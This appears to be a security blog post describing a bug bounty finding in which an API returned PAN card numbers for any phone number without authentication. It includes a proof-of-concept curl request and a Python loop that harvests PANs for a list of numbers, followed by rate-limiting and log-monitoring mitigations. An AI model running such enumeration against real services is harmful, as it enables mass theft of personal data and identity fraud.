IDOR in Disguise: How a Phone Number Leaked PAN Details Instantly

Listen to this Post

Featured Image
In a recent bug bounty discovery, a security researcher demonstrated how a simple phone number could expose sensitive Personally Identifiable Information (PII), including PAN card numbers, due to an Insecure Direct Object Reference (IDOR) vulnerability. The flaw allowed unauthorized access without authentication, OTP, or session validation.

You Should Know:

How the Bug Worked

The vulnerability exploited an API endpoint that returned PAN details when provided with a valid phone number. The lack of proper authorization checks led to direct exposure of sensitive data.

Step-by-Step PoC (Proof of Concept)

1. Identify the API Endpoint:

curl -X GET "https://vulnerable-api.com/user/data?phone=+911234567890" -H "Accept: application/json"

– If the response includes { "name": "John Doe", "pan": "ABCDE1234F" }, the endpoint is vulnerable.

2. Automate Data Extraction (Python Script):

import requests

phone_numbers = ["+911234567890", "+919876543210"]
for number in phone_numbers:
response = requests.get(f"https://vulnerable-api.com/user/data?phone={number}")
if response.status_code == 200:
print(f"Phone: {number} | PAN: {response.json().get('pan')}")

3. Mitigation Steps for Developers:

  • Implement proper access controls (e.g., JWT, session validation).
  • Use rate limiting to prevent brute-force attacks:
    limit_req_zone $binary_remote_addr zone=api_limit:10m rate=5r/s;
    location /user/data {
    limit_req zone=api_limit burst=10;
    proxy_pass http://backend;
    }
    
  • Log and monitor suspicious API requests:
    grep "GET /user/data" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -nr
    

Real-World Exploitation Risks

  • Mass Data Harvesting: Attackers could scrape PANs for identity theft or tax fraud.
  • Compliance Violations: GDPR, CCPA, or RBI guidelines may impose heavy fines.

Vendor’s Inadequate Response

The vendor initially dismissed the issue as “low risk,” but under further scrutiny, they patched it after media exposure.

What Undercode Say

IDOR remains a critical web vulnerability due to poor authorization checks. Always:
– Test APIs rigorously using tools like Burp Suite or OWASP ZAP.
– Enforce least privilege access in backend systems.
– Monitor logs for unusual patterns.

Expected Output:

{
"phone": "+911234567890",
"name": "John Doe",
"pan": "ABCDE1234F"
}

Prediction:

As API-driven services grow, IDOR flaws will continue to expose sensitive data unless developers enforce strict access controls. Automated scanning tools and bug bounty programs will play a key role in early detection.

Reference:

IT/Security Reporter URL:

Reported By: Amandeep Singh – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram